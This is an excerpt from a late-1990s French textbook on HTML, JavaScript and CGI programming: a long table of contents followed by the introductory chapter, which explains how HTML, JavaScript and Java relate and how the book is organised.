<EM> ..............................................................................................................54
<KBD>............................................................................................................ 54
<SAMP> .........................................................................................................55
<STRONG> ....................................................................................................55
<VAR>............................................................................................................ 56
<BLOCKQUOTE> ........................................................................................ 56

8. Créer des liens................................................................................. 59

Définition d'une ancre ..............................................................................................61
<A> .................................................................................................................61
L'attribut HREF, ancre de départ vers un lien externe...................... 61
L'attribut HREF, ancre de départ vers un lien interne........................ 62
L'attribut HREF, ancre de départ vers un point spécifique................ 62
L'attribut NAME, ancre d'arrivée....................................................... 62
L'attribut HREF et NAME sur une même ancre.................................63
Les différentes ressources pointées par un lien ....................................................... 64
D'autres URL ........................................................................................................... 66
FTP..................................................................................................................67
NEWS ............................................................................................................ 70
TELNET..........................................................................................................70
MAILTO ........................................................................................................ 71
JAVASCRIPT................................................................................................. 71
Adressage des URL dans l'espace du serveur.......................................................... 71
JavaScript et les liens................................................................................................73
Les événements associés aux liens..................................................................73

III
 Programmation HTML et JavaScript

9. Inclusion d'images ......................................................................... 79

Les images en ligne..................................................................................................79
<IMG>............................................................................................................ 79
Alignement des images ..................................................................................82
Les images et les browsers non graphiques ............................................................ 83
Les images en guise d'ancres .................................................................................. 84
Les images et JavaScript.......................................................................................... 85

10. Mise en page..................................................................................87

<FONT> ........................................................................................................ 88
L'attribut SIZE................................................................................... 88
L'attribut COLOR.............................................................................. 88
L'attribut FACE................................................................................. 88
<MULTICOL>............................................................................................... 89
L'attribut COLS................................................................................. 89
L'attribut WIDTH.............................................................................. 89
L'attribut GUTTER........................................................................... 90
<CENTER>.................................................................................................... 90
<SPACER> ....................................................................................................90
L'attribut TYPE................................................................................. 91
L'attribut SIZE................................................................................... 91
Les attributs WIDTH, HEIGHT et ALIGN....................................... 91
<BR> et l'attribut CLEAR ............................................................................. 91
<BODY> pour le décor ! ............................................................................... 92
Les fonds d'écran ........................................................................................... 93
L'attribut BGCOLOR........................................................................ 93
L'attribut BACKGROUND............................................................... 93
La couleur du texte ........................................................................................ 94
L'attribut TEXT................................................................................. 94
Les attributs LINK, VLINK et ALINK............................................. 94

11. Les feuilles de style....................................................................... 99

<STYLE> ....................................................................................................100
L'attribut TYPE............................................................................... 100
Classes de style............................................................................................ 101
L'attribut CLASS............................................................................ 102
Sous-classe de style (ID)................................................................ 102
L'attribut ID.................................................................................... 103
<SPAN> avec l'attribut CLASS ...................................................................103
Groupement .......................................................................................................... 104
Sélection contextuelle ........................................................................................... 104
L'héritage des styles .............................................................................................. 105

IV
Table des matières

Définitions dans des fichiers externes .................................................................. 105

Le fichier de style ................................................................................................. 105
<LINK> utilisation des fichiers externes ..................................................... 106
L'attribut REL=stylesheet................................................................ 106
L'attribut TYPE................................................................................ 106
L'attribut HREF................................................................................ 106
Définition ponctuelle d'un style dans une balise.................................................... 107
L'attribut STYLE............................................................................. 107
Les définitions de style .......................................................................................... 107
Les polices de caractères............................................................................... 107
font-size (fontSize) - taille des caractères........................................ 107
font-style (fontStyle)........................................................................ 108
font-family (fontFamily) - famille de caractères............................. 108
font-weight (fontWeight) - graisse des caractères........................... 108
Propriétés des textes...................................................................................... 108
line-height (lineHeight) - interligne................................................. 108
text-align (textAlign) - alignement, justification............................. 108
text-indent (textlndent) - indentation............................................... 109
text-transform (textTransform) traitement de la casse..................... 109
Le bloc...........................................................................................................109

12. Positionnement dynamique .......................................................113

Les couches ........................................................................................................... 114
Mode CSS .................................................................................................... 115
<SPAN> avec attribut ID .............................................................................115
Mode JavaScript............................................................................................116
<LAYER> <ILAYER>.................................................................................116
Les attributs ID, TOP et LEFT........................................................ 116
Les attributs Z-INDEX, ABOVE et BELOW................................. 116
Les attributs BGCOLOR et BACKGROUND................................ 117
Les attributs WIDTH et HEIGHT................................................... 117
L'attribut CLIP................................................................................. 117
L'attribut VISIBILITY.................................................................... 118
L'attribut SRC.................................................................................. 118
Le dynamisme des couches ...................................................................................118
Les propriétés des couches ..................................................~................................118
Le nommage des couches dans la hiérarchie JavaScript .......................................119
La hiérarchie des objets dans les couches ............................................................. 119
Les méthodes des couches..................................................................................... 119
Les événements liés aux couches ..........................................................................121
Couleurs et unités ..................................................................................................127

V
 Programmation HTML et JavaScript

13. Images cliquables......................................................................131

Système de coordonnées........................................................................................132
Méthode n° 1 : imagemap, ismap ......................................................................... 133
Réalisation de la carte coordonnées - URL ................................................. 133
Comment fonctionne une carte cliquable ? ................................................. 136
Méthode N° 2 : usemap ........................................................................................ 136
JavaScript et les images cliquables ....................................................................... 137
Les événements de la balise <AREA>......................................................... 137

14. Les tableaux...............................................................................145

<TABLE>.....................................................................................................146
<TR> ............................................................................................................147
<TD> ........................................................................................................... 147
<TH> .......................................................................................................... 149
<CAPTION> ............................................................................................... 149
L'attribut BGCOLOR...................................................................... 149

15. Les frames..................................................................................155

Création de frames ................................................................................................ 157
<FRAMESET>.............................................................................................158
<FRAME>.................................................................................................... 160
<NOFRAMES>........................................................................................... 161
Utilisation des frames ............................................................................................163
L'attribut TARGET......................................................................... 163
Les frames et JavaScript ........................................................................................167

16. Méta-informations.................................................................... 171

<META> ......................................................................................................171
L'attribut NAME............................................................................. 172
L'attribut CONTENT....................................................................... 172
L'attribut HTPP-EQUIV.................................................................. 172
Le client-pull ................................................................................................172

La programmation......................................................................... 175

17. Les limites d'HTML ................................................................ 177

Introduction à la programmation ........................................................................... 182

VI
Table des matières

18. Les formulaires........................................................................... 191

Quel est le principe du formulaire ? ...................................................................... 193
A quel moment le formulaire est-il transmis au script ?........................................ 194
Description des balises de formulaire et des événements JavaScript ....................196
<FORM>.......................................................................................................196
L'attribut METHOD........................................................................ 196
L'attribut ACTION.......................................................................... 196
L'attribut NAME............................................................................. 196
L'attribut TARGET......................................................................... 196
Les propriétés de l'objet FORM...................................................... 197
La méthode de l'objet FORM.......................................................... 197
L'événement JavaScript associé à l'objet FORM............................ 198
Les balises définissant les composants du formulaire ...........................................201
<INPUT> ou cINPUT TYPE=TEXT>......................................................... 201
L'attribut NAME............................................................................. 202
L'attribut SIZE.................................................................................202
L'attribut VALUE............................................................................202
Les propriétés de l'objet TEXT....................................................... 202
Les méthodes de l'objet TEXT........................................................ 202
Les événements associés à l'objet TEXT........................................ 203
<INPUT TYPE=PASSWORD> .................................................................. 205
<INPUT TYPE=SUBMIT> .........................................................................205
L'attribut NAME............................................................................. 205
L'attribut VALUE............................................................................206
Les propriétés de l'objet SUBMIT.................................................. 206
Les méthodes de l'objet SUBMIT................................................... 206
L'événement associé à l'objet SUBMIT.......................................... 206
<INPUT TYPE=CHECKBOX> ..................................................................207
L'attribut NAME............................................................................. 207
L'attribut VALUE............................................................................207
L'attribut CHECKED...................................................................... 207
Les propriétés de l'objet CHECKBOX............................................ 207
La méthode de l'objet CHECKBOX............................................... 208
L'événement associé à l'objet CHECKBOX.................................... 208
<INPUT TYPE=RADIO> ........................................................................... 210
L'attribut NAME.............................................................................. 210
L'attribut CHECKED....................................................................... 210
Les propriétés de l'objet RADIO......................................................210
La méthode de l'objet RADIO......................................................... 211
L'événement associé à l'objet RADIO............................................. 211
<INPUT TYPE=RESET>............................................................................ 211
L'attribut NAME.............................................................................. 211
L'attribut VALUE............................................................................ 211
Les propriétés de l'objet RESET...................................................... 212

VII
 Programmation HTML et JavaScript

La méthode de l'objet RESET......................................................... 212

L'événement associé à l'objet RESET............................................ 212
<SELECT> et <OPTION>...........................................................................212
L'attribut NAME de la balise <SELECT>..................................... 212
L'attribut SIZE de la balise <SELECT>......................................... 212
L'attribut MULTIPLE dela balise <SELECT>............................... 212
L'attribut VALUE de la balise<OPTION>..................................... 213
L'attribut SELECTED dela balise <OPTION>............................... 213
Les propriétés de l'objet SELECT.................................................. 214
Les méthodes de l'objet SELECT................................................... 214
Les événements associés à l'objet SELECT................................... 215
Les propriétés des options de l'objet SELECT............................... 215
<TEXTAREA> ............................................................................................221
<INPUT TYPE=BUTTON> ........................................................................221
L'attribut NAME............................................................................. 221
L'attribut VALUE........................................................................... 221
Les propriétés de l'objet BUTTON................................................. 222
La méthode de l'objet BUTTON.................................................... 222
L' événement associé à l'objet BUTTON....................................... 222
Le type HIDDEN............................................................................ 227
Les propriétés de l'objet HIDDEN................................................. 231

19. La programmation CGI.............................................................237

Emplacement des scripts CGI................................................................................ 239
Le langage de programmation ...............................................................................240
La sécurité.............................................................................................................. 241
La sortie standard................................................................................................... 242
Le format ......................................................................................................242
L'en-tête ....................................................................................................... 243
Le corps ....................................................................................................... 246
Pour aller plus loin ....................................................................................... 246
Les variables d'environnement .............................................................................. 247
Réalisation d'un script ........................................................................................... 251
Exemples................................................................................................................ 253
Un compteur d'accès .................................................................................... 253
Une image dynamique.................................................................................. 255
Une séquence animée ...................................................................................256

20. Formulaires et CGI.................................................................... 261

L'encodage des données ........................................................................................ 261
Le transport ............................................................................................................262
La méthode GET .......................................................................................... 262
La méthode POST ........................................................................................ 262

VIII
Table des matières

La programmation ..................................................................................................262
La méthode GET............................................................................................264
La méthode POST..........................................................................................268

21. Authentification des accès.......................................................... 273

Principe de l'authentification ..................................................................................273
Authentification par mot de passe ..........................................................................274
Authentification par le réseau................................................................................. 276
Propagation de la protection .................................................................................. 277

Le langage JavaScript ......................................................................279

22. JavaScript 1.2.............................................................................. 281

Java et JavaScript ................................................................................................... 282
Du JavaScript d'accord, mais où ? ......................................................................... 283
La balise <SCRIPT>...</SCRIPT>............................................................... 285
Le pseudo-protocole JavaScript ....................................................................286
Les nouveaux attributs de gestion d'événements...........................................287
Insertion de variables JavaScript................................................................... 287
La balise <NOSCRIPT> au secours des vieux browsers.............................. 288
Les variables .......................................................................................................... 289
Les types ................................................................................................................ 291
Les chaînes de caractères ..............................................................................291
Les nombres ..................................................................................................292
Les booléens.................................................................................................. 293
Les fonctions ................................................................................................ 293
Les objets ......................................................................................................295
Les conversions entre types.................................................................................... 302
Les tableaux............................................................................................................ 303
Pour aller plus loin avec les tableaux............................................................ 304
Les objets du browser.............................................................................................306
La classe Window ........................................................................................ 306
Les références aux objets Window..................................................307
Les propriétés de la classe Window................................................ 307
frames.............................................................................................. 312
Les méthodes de la classe Window................................................. 320
Les gestionnaires d'événement des objets Window.........................330
Tableaux récapitulatifs ................................................................................. 332
La classe Navigator....................................................................................... 337
Propriétés.........................................................................................337
La classe Screen............................................................................................ 339

IX
 Programmation HTML et JavaScript

Propriétés........................................................................................ 339
La gestion des événements ....................................................................................340
La classe event.............................................................................................. 341
Propriétés........................................................................................ 341
Les nouveaux attributs de balises................................................................. 343
Modification dynamique d'un gestionnaire d'événement............................. 344
Capture d'événements .................................................................................. 346
Les classes prédéfinies........................................................................................... 351
Date()............................................................................................................ 351
Constructeur.................................................................................... 351
Méthodes........................................................................................ 351
Exemple.......................................................................................... 352
Image() .........................................................................................................353
Constructeur.................................................................................... 353
Propriétés........................................................................................ 353
Gestionnaires d'événement............................................................. 354
Exemple.......................................................................................... 355
Option() ........................................................................................................356
Math.............................................................................................................. 357
Propriétés........................................................................................ 357
Méthodes........................................................................................ 357
Exemple.......................................................................................... 358
Function() .................................................................................................... 359
Constructeur.................................................................................... 359
Exemple.......................................................................................... 360
Les chaînes de caractères comme objets ...................................................... 361
Constructeur.................................................................................... 361
Propriété.......................................................................................... 361
Méthodes........................................................................................ 361
Exemple.......................................................................................... 365
Les expressions régulières............................................................................366
Principe........................................................................................... 367
Création........................................................................................... 367
Utilisation....................................................................................... 368
Syntaxe........................................................................................... 370
Mémorisation des correspondances à un modèle........................... 372
Les tableaux comme objets ......................................................................... 373
Constructeur.................................................................................... 373
Propriétés........................................................................................ 374
Méthodes......................................................................................... 374
Exemples......................................................................................... 375
Les opérateurs ....................................................................................................... 377
Opérateurs arithmétiques..............................................................................378
Opérateurs booléens .................................................................................... 378
Opérateurs binaires.......................................................................................379

X
Table des matières

Opérateurs d'affectation.................................................................................380
Opérateurs de comparaison .......................................................................... 380
Les instructions de base.......................................................................................... 380
Les commentaires ......................................................................................... 381
Les variables ................................................................................................. 381
var..................................................................................................... 381
Les boucles.................................................................................................... 382
Les blocs d'intructions nommés........................................................382
do ... while.........................................................................................382
while..................................................................................................383
for......................................................................................................384
for ... in..............................................................................................384
break..................................................................................................385
continue.............................................................................................387
Les fonctions ................................................................................................ 388
function............................................................................................. 388
Les instructions conditionnelles.................................................................... 392
if... else..............................................................................................392
switch ... case.................................................................................... 393
Les objets ......................................................................................................394
new....................................................................................................394
this.....................................................................................................395
with................................................................................................... 396
Les fonctions prédéfinies........................................................................................397
parseFloat...................................................................................................... 397
parseInt.......................................................................................................... 397
IsNaN ........................................................................................................... 398
void................................................................................................................399
eval ............................................................................................................... 399
escape ........................................................................................................... 400
unescape ....................................................................................................... 401
JavaScript et la sécurité ......................................................................................... 402
Principe de base ............................................................................................402

XI
 Programmation HTML et JavaScript

Annexes.............................................................................................. 405

23. Créer des images.........................................................................407

L'écran informatique ..............................................................................................407
La mesure des images ............................................................................................408
L'origine des images............................................................................................... 409
La destination de l'image........................................................................................ 409
Le mode natif de l'image ....................................................................................... 409
Les dessins transparents..........................................................................................410
Le mode entrelacé...................................................................................................410
Création d'une image à partir d'un dessin vectoriel ............................................... 411

24. Le format MIME ....................................................................... 417

25. Le module util.c...........................................................................421

26. Installation d'un démon httpd................................................... 425

Le fichier [Link] .............................................................................................. 427
ServerType ................................................................................................... 427
Port ............................................................................................................... 427
User ...............................................................................................................428
Group............................................................................................................. 428
ServerAdmin ................................................................................................ 428
ServerRoot.....................................................................................................428
ServerName................................................................................................... 429
ErrorLog ....................................................................................................... 429
TransferLog .................................................................................................. 430
AgentLog.......................................................................................................430
PidFile .......................................................................................................... 430
AccessConfig.................................................................................................430
ResourceConfig............................................................................................. 431
TypesConfig ................................................................................................. 431
Le fichier [Link]..................................................................................................431
DocumentRoot...............................................................................................431
UserDir.......................................................................................................... 431
AccessFileName............................................................................................ 432
DefaultType................................................................................................... 432
Redirect ........................................................................................................ 432
Alias...............................................................................................................433
ScriptAlias .................................................................................................... 433
Le fichier [Link] : gestion des listes de fichiers..................................................433

XII
Table des matières

DirectoryIndex .............................................................................................434
HeaderName................................................................................................. 434
ReadmeName ...............................................................................................435
FancyIndexing.............................................................................................. 435
AddIcon........................................................................................................ 436
AddIconByType........................................................................................... 436
DefaultIcon................................................................................................... 437
IndexIgnore ..................................................................................................437
Le fichier [Link].............................................................................................437
Le démarrage du serveur .......................................................................................438

27. Caractères accentués, symboles ............................................... 439

28. Index ............................................................................................443

XIII
 Chapitre 1

Introduction

Les langages du Web,

introduction à la deuxième édition
HTML est et restera incontestablement le langage de base du Web. Parallèlement à son
évolution, apparaissent de nouveaux langages apportant plus d'interactivité aux écrans
du Web, et d'offrir une intelligence locale aux postes de consultation; le Web client-ser­
veur devient une réalité.

A l'origine : le langage HTML

C'est un langage de description permettant de structurer et d'afficher différents objets sur
un écran (qu'on appellera abusivement "page"). Ces objets peuvent être du texte, des
tableaux, des images voire de la vidéo et des sons. Ils peuvent être aussi les éléments
devenus classiques des environnements graphiques, à savoir les boutons, pop-listes, listes
à ascenseurs, boîtes de dialogue... Sur la plupart de ces objets, il est possible de placer
des liens qui vont permettre de se connecter à d'autres pages. Ce langage est donc à l'ori­
gine essentiellement statique. Sur le serveur, le fichier HTML décrit une "scène" qui sera
envoyée à la demande vers un client (le browser, logiciel de navigation présent sur le
poste de consultation). Ce client va décoder les instructions HTML pour afficher la scène
qui restera ensuite la même ; seule une nouvelle requête vers le serveur sera à même d'en
modifier l'apparence.

Le Web, support d'applications

Développer des applications informatiques, c'est aussi se demander qui utilisera ces
applications et sur quelles plates-formes. Déployer une application est aussi important et
souvent aussi long que de produire l'application elle-même. Le succès du Web et de

1
 Programmation HTML et JavaScript

l'Intranet est dû pour beaucoup au fait qu'une application qui s'exécute dans le cadre
d'un browser Web fonctionnera aussi bien sous Windows 95, Windows NT, MacOS,
Unix... On crée l'application sans souci du poste client, celle-ci devenant immédiatement
disponible pour tout poste disposant d'un browser Web. Si l'on détient enfin le client uni­
versel pour toutes les applications, il devient nécessaire de se préoccuper de l'intelli­
gence que l'on peut intégrer. HTML peut alors être insuffisant : il faut programmer...

Le langage JavaScript
Créé à l'origine par Netscape, ce langage de programmation est conçu pour traiter locale­
ment des événements provoqués par le lecteur (par exemple, lorsque le lecteur fait glisser
la souris sur une zone de texte, cette dernière change de couleur). C'est un langage inter­
prété, c'est-à-dire que le texte contenant le programme est analysé au fur et à mesure par
l'interprète, partie intégrante du browser, qui va exécuter les instructions.
Ce langage a fait l'objet d'une normalisation sous le nom de ECMAScript.

Comment JavaScript se situe-t-il par rapport à HTML ?

HTML permet de décrire des pages, un peu à la manière d'un traitement de texte :
"ici un texte gras, aller à la ligne, ici une image, ici une image
permettant d'activer un lien vers une autre page, etc."

JavaScript permet de programmer des actions en fonction d'événements :

Si l'utilisateur remplit une case de saisie alors

tester si les caractères tapés sont numériques
si oui
enregistrer la valeur
si non
envoyer un message d'alerte

ou bien d'effectuer des calculs toujours sans aucun recours au serveur :

lire la valeur d'une cellule de saisie, multiplier ce nombre par

1,186, afficher le résultat

On nomme script l'ensemble d'instructions permettant de réaliser une action.

Les domaines d'applications du langage JavaScript peuvent être classés en plusieurs

catégories :
• Petites applications simples (calculettes, petits outils de conversions, édition automa­
tique d'un devis par l'acheteur, jeu, etc.).
• Aspects graphiques de l'interface (modification d'images lors du passage de la souris,
gestion de fenêtres, fabrication locale d'une page HTML, etc.).
• Tests de validité des données sur les éléments de l'interface de saisie (pour vérifier

2
Introduction

qu'une valeur considérée comme obligatoire a bien été saisie, que le champ saisi cor­
respond bien à une date, etc.), gestion complète de l'interface d'une application com­
plexe (création de fenêtres, modification de menus, aide contextuelle, etc.).

Où s'exécute un script1 JavaScript ?

Depuis l'origine, il est possible de faire exécuter par les serveurs des programmes dont le
résultat est une page Web. Contrairement à ces programmes (les scripts du CGI qui
seront étudiés dans ce livre), les "JavaScripts" sont chargés avec la page Web pour être
exécutés sur le poste client par le logiciel de navigation (le browser Netscape ou Internet
Explorer). Cette notion d'exécution locale est importante. En effet, avec HTML le poste
client n'avait pas d'intelligence ; il se bornait à afficher une page telle qu'elle était décrite
dans le fichier provenant du serveur. Avec JavaScript, on exécute localement un pro­
gramme téléchargé lui aussi depuis le serveur ; ce programme est par définition une
entité capable de prendre des décisions en fonction d'événements survenant localement,
une partie de l'intelligence résidant sur le poste client.
Les browsers intègrent donc un interpréteur qui décode les instructions et les exécute au
moment opportun, soit par exemple au chargement de la page dans le browser, soit à
l'apparition d'un événement particulier (clic sur un bouton, saisie d'une valeur, mouve­
ment de souris, etc.)

D'où provient le code JavaScript ?

Le code JavaScript est décrit dans le même fichier que le document HTML ce qui aug­
mente encore la simplicité d'écriture. Ce code est par conséquent du langage source2 et,
à l'image du code HTML, il a l'avantage d'être parfaitement lisible par le lecteur curieux
de voir comment est codée la page de l'application qui se déroule sous ses yeux.
Lorsque le code HTML d'une page est chargé, les fonctions JavaScript le sont aussi.
Elles pourront être réutilisées, sans aucun accès vers le serveur, autant de fois qu'on le
souhaite. Imaginons une page qui offre un bouton "calculette"; une fois chargée on
pourra utiliser cette calculette en permanence.
La rançon de cette simplicité est qu'aucune analyse préalable du code JavaScript n'est
réalisée. Une erreur dans la syntaxe d'une instruction d'un programme mal testé se tra­
duit par l'apparition d'une fenêtre d'erreur...

Le langage JAVA
Nous ne parlerons pas (ou peu) de Java dans ce livre, d'abord parce que Java est un lan­
gage qui mérite un livre à lui seul. En outre, écrire une application en Java est très loin du
langage HTML. Cela est si vrai que l'affichage produit par une applet3 Java dans la fenê­
tre du browser n'est pas du tout réalisé avec des instructions HTML.

1. Ou un programme, la notion est sensiblement la même.

2. Le langage source ou code source représente en fait les instructions telles que les a
tapées le programmeur.
3. Nom donné aux programmes Java s'exécutant dans le cadre d'un browser Web.

3
 Programmation HTML et JavaScript

Conçu par Sun, puis adopté par la quasi-totalité des constructeurs, Java est un langage de
programmation comme JavaScript, mais c'est un langage compilé, c'est-à-dire qu'avant
de pouvoir s'exécuter, un programme Java sera préalablement traduit. Cette traduction
ou compilation effectue d'abord une analyse syntaxique et vérifie les références ; si le
résultat de cette analyse est correct, un code exécutable est généré.
Habituellement, on compile un programme (en langage C, C++, Fortran ou autre) pour
une exécution sur une plate-forme et un operating system donné. Avec Java, le code pro­
duit (appelé le P-code) est indépendant de la plate-forme de production aussi bien que de
la plate-forme d'exécution ; tel est le grand avantage. On peut ainsi diffuser des applica­
tions sur le réseau sans se soucier du hardware qui va les utiliser ! Ce P-code est un code
généré non pas pour un processeur (ou une machine) spécifique, mais pour une machine
"virtuelle" — la machine Java. Par contre, il est bien évident que cette machine Java est
dépendante de la machine physique qui la supporte. Mais, du point de vue du déve­
loppeur, c'est aussi "transparent" que pour l'interpréteur JavaScript décrit précédem­
ment. C'est le concepteur du browser qui a la charge d'implémenter cette machine
virtuelle. Le P-code a aussi été conçu pour être transporté correctement sur les réseaux.
On peut compiler un programme Java sur un Macintosh qui, une fois téléchargé à travers
le réseau Internet, s'exécutera aussi bien sur un browser installé sur une machine Unix
que sur un browser installé sur un PC.
Ce P-code est téléchargé, via une page HTML, depuis le serveur vers le client où il va
s'exécuter, mais l'utilisateur devant son écran n'aura plus cette fois la possibilité d'accé­
der au code source.

Java ou JavaScript ?
Qu'apporte Java en plus de JavaScript ? L'un comme l'autre s'exécutent sur le poste
client et sont téléchargés depuis le serveur via une page HTML. Tous deux permettent
une programmation événementielle. Au niveau syntaxique, ils ressemblent à C++. L'un
est relativement simple et ne demande pas d'outils spécifiques, l'autre est plus complexe
et nécessite un compilateur, voire un environnement de développement complet (compi­
lateur, debbuger gestionnaire de code, etc).
On considère couramment que JavaScript est un bon assistant des pages HTML, permet­
tant de faire des vérifications ou de petits calculs sur les données d'un formulaire de sai­
sie, d'agrémenter le graphisme d'une page Web ou de charger un plug-in1 du browser.
On peut envisager de réaliser de petites applications, mais en JavaScript, la maintenance
du code et son debuggage sont moins aisés. Enfin, le langage est plus limité que le lan­
gage Java (pas de classes et de notion d'héritage).
Java est donc en principe un langage de développeur adapté à des applications plus lour­
des (traitement de texte, tableur, etc.). Il est plus riche et plus rigoureux (déclaration obli­
gatoire des variables comme en C ou en C++, possibilité d'accéder aux composants
réseaux...). Si une application doit être distribuée sur le réseau Internet avec une contre-

1. Module externe développé selon les règles dictées par le concepteur du browser et per­
mettant d'ajouter des fonctionnalités.

4
Introduction

partie financière, Java qui ne transfère pas le code source, va permettre d'exclure son
"piratage" ou sa copie. Une application en JavaScript peut être plus facilement copiée,
conservée, modifiée...

Développer en Java ou en JavaScript présente l'immense avantage de créer des applica­

tions indépendantes de la plate-forme d'exécution. Dans un cas, le code est exécuté par la
machine virtuelle Java intégrée au browser, dans l'autre, le code est interprété par l'inter­
préteur JavaScript intégré lui aussi au browser. On laisse ainsi aux éditeurs de logiciels
(Netscape, Microsoft, etc.) le travail de portage de leurs browsers sur les différentes pla-
tes-formes.
Enfin, la question du choix d'un langage pour une application sur le Web ne se pose pas
réellement. C'est le mariage des trois technologies HTML, JavaScript et Java qui va per­
mettre de faire de véritables applications pour le Web.

Type de page HTML JavaScript Java CGIa

Serveur institutionnel, OUI éventuelle­ NON NON
pages de présentation, ment pour
publicités informations... enrichir le
décor

Pages de formulaires, OUI OUI NON ou OUI

accès à des bases de éventuel­
données. lement

Applications complexes, OUI éventuelle­ OUI NON

traitement de texte, ment
tableur, outil de dessin...

Exécution par le client client client serveur

Figure 1 - Types de pages Web et langages nécessaires

a. Le CGI n'est pas un langage, mais la zone du serveur où sont stockés les
programmes exécutés par le serveur.

HTML 3.2, 4, Dynamic HTML ?

Le niveau d'HTML que l'on pourrait considérer comme actuellement1 officiel est le
niveau 3.2, mais les principaux browsers, comme Netscape ou Internet Explorer, peuvent
être en avance sur les normes et implémenter de nouvelles fonctionnalités. La plupart des
pages Web qui voient le jour actuellement sont écrites en utilisant ces spécificités, princi­
palement au niveau de la mise en page et des artifices de présentation.
Ce manuel est fondé plutôt sur HTML 3.2. Il inclut ce que nous avons pu tester des
feuilles de style et de Dynamic HTML. Nous avons inclus la balise layer de Netscape car

1. Décembre 1997

5
 Programmation HTML et JavaScript

elle nous semble être ce qu'il y a de plus dynamique dans HTML, même si cette appro­
che n'est pas encore "normalisée" ; lors de la première édition, nous nous étions posé les
mêmes questions concernant les frames. Notre objectif reste toujours de fournir un
manuel pratique décrivant des concepts qui fonctionnent réellement sur les browsers de
référence.

Comment étudier avec ce manuel (ou sans) ?

On peut distinguer dans cet ouvrage une partie HTML pure ne nécessitant pas de con­
naissance particulière en informatique, une partie JavaScript nécessitant la compréhen­
sion d'un langage de programmation simple, et enfin une partie traitant de la
programmation au niveau du serveur, le CGI. Ces trois parties sont clairement identi­
fiées. Dans l'apprentissage des balises HTML, l'aspect programmation JavaScript peut
être ignoré par le lecteur ne s'intéressant qu'à la fabrication de pages statiques.
Si vous disposez d'un micro-ordinateur, installez un échantillonnage de logiciels client
(Netscape, Internet Explorer par exemple) et testez les différents exemples du manuel et
leurs résultats sur ces différents browsers. Essayez des exemples, modifiez-les, examinez
le résultat de ces modifications ; c'est une excellente méthode d'apprentissage. Il n'est
pas nécessaire pour cette étape d'être connecté au réseau Internet. C'est possible tant que
nous n'abordons pas la programmation CGI ; par la suite, il sera nécessaire d'être dans
l'environnement d'un serveur.
Si vous êtes connecté à Internet, vous pourrez très vite vous passer de ce manuel et exa­
miner, grâce à un browser, le code source HTML des millions de pages que vous avez à
votre disposition. Accéder à toute la documentation en ligne sur le Web est le plus sûr
moyen d'être toujours au fait de ces nouvelles techniques.
Chaque fois que vous trouverez une page sur le Web qui vous séduit ou vous intrigue
allez voir le code source, c'est un excellent moyen d'apprentissage !

Comment est décrit JavaScript ?

Nous avons décidé d'intégrer au fur et à mesure de la description des balises HTML
l'apport que peut avoir JavaScript sur la balise considérée. Cette partie sera clairement
indentifiée par une icône et pourra être ignorée par le lecteur ne voulant pas se préoccu­
per de l'aspect programmation. Si vous vous intéressez à cet aspect vous devrez avoir lu
précédemment le chapitre consacré au langage JavaScript.

Comment est rédigé ce manuel ?

Avec quelques termes anglais. Nous avons préféré le terme browser à celui de "naviga­
teur" et nous avons utilisé le terme balise plutôt que tag !
Tous les affichages des divers exemples ont été capturés dans un environnement X Win-
dow et principalement depuis Netscape sur plate-forme Unix. Nos serveurs sont installés
sur des machines Unix et utilisent les serveurs du NCSA et du CERN. Cela explique le
choix de nos exemples.

6
Introduction

En revanche, c'est dans un environnement Macintosh que nous aborderons l'atelier de

fabrication des dessins et des illustrations.

Conventions d'écriture
La syntaxe du langage sera inscrite de cette façon,

Les exemples de code de cette façon.

Icônes
Un jeu d'icônes présenté sur la page suivante est utilisé pour différencier les langages
utilisés, le niveau d'HTML, ainsi que le browser utilisé.

7
 Programmation HTML et JavaScript

Code HTML standard. Cette icône définit un exemple complet pouvant être
reproduit et testé sur n'importe quel browser (en principe !).

Code Dynamic HTML . L'exemple inclura des scripts JavaScript.

Code HTML utilisant des extensions propres à Netscape. L'exemple ne

pourra être interprété correctement que sur un browser Netscape.

Affichage du fichier HTML à l'aide du browser Netscape.

Affichage du fichier HTML à l'aide du browser Netscape version 4 mini­

mum.

Source d'un programme écrit en langage PERL.

Source d'un programme écrit en langage PLSQL.

Source d'un programme écrit en langage shell (shell, cshell, kshell...).

Code HTML incluant du code JavaScript ou description de fonctionnalités

JavaScript.

Source d'un programme écrit en langage C.

Ligne unique de code imprimée sur plusieurs lignes pour des raisons de
mise en page.

8
Introduction

Environnement de test et de production

Il comprend quatre zones :
La zone 1 se compose d'un simple poste (pas forcément connecté au réseau) sur lequel
on trouvera un ou plusieurs browsers installés ainsi qu'un simple éditeur de texte. La
machine peut être indifféremment un Mac, un PC, ou un terminal X. Cette première zone
est suffisante pour apprendre le langage HTML de base.
La zone 2 est identique à la zone 1, mais les machines sont connectées au réseau. C'est
depuis cette zone que l'on va tester les codes HTML et les scripts développés que l'on
aura préalablement installés en zone 3.
La zone 3 est la zone serveur. Elle se compose d'une machine Unix sur laquelle se trou­
vent tous les logiciels nécessaires au fonctionnement d'un serveur Web, tous les répertoi­
res contenant les fichiers HTML, les images, les films, les sons ainsi que la zone où
s'exécutent les scripts.
La zone 4 est l'atelier de PAO dans lequel on va réaliser les images, les sons et les films.

Figure 2 - L'environnement de travail

Faut-il encore apprendre HTML ?

Plus que jamais ! En effet, c'est dans les fichiers HTML et avec des instructions HTML
qu'on appelle des applets Java et qu'on décrit des scripts. HTML est le liant entre les dif­
férentes techniques existantes ou futures et, à ce titre, il nous semble incontournable.

9
 Programmation HTML et JavaScript

Chaque jour, la presse rapporte que tel traitement de texte offre dans sa nouvelle version
la possibilité de sortie de documents en langage HTML. D'autres produits se proposent
de convertir tel format de texte en HTML.
Des éditeurs plus ou moins wysiwyg apparaissent çà et là ; souvent, ils n'offrent que la
possibilité d'insérer des balises grâce à un clic dans un menu, et tous ne font pas une ana­
lyse structurelle du fichier, ce qui serait le plus intéressant. Ils dispensent surtout de con­
naître le balisage et les règles de structuration.
Tous ces produits n'indiquent pas toujours clairement quel niveau d'HTML ils sont capa­
bles de traiter ou de produire. Là est peut-être le problème le plus crucial, car lorsque l'on
génère de la documentation pour le Web, il est important de savoir à quel niveau
d'HTML on va se conformer, niveau que l'on peut d'ailleurs admettre différent selon le
type de pages que l'on traite dans son serveur.
Il reste enfin que toute la partie interactive (les formulaires ou la fabrication de scripts)
n'est pour l'instant accessible qu'en travaillant au niveau du langage.
Il ne faut pas pour autant négliger ces logiciels, qui permettent souvent de peupler les
pages d'un serveur en partant de documents existants.
Tout cela dépend bien sûr du niveau que l'on souhaite donner aux pages de son serveur :
pour réaliser des pages informatives, un assistant HTML peut suffire, pour mettre en
place de véritables services sur le Web, il vaut mieux maîtriser ces langages.

10
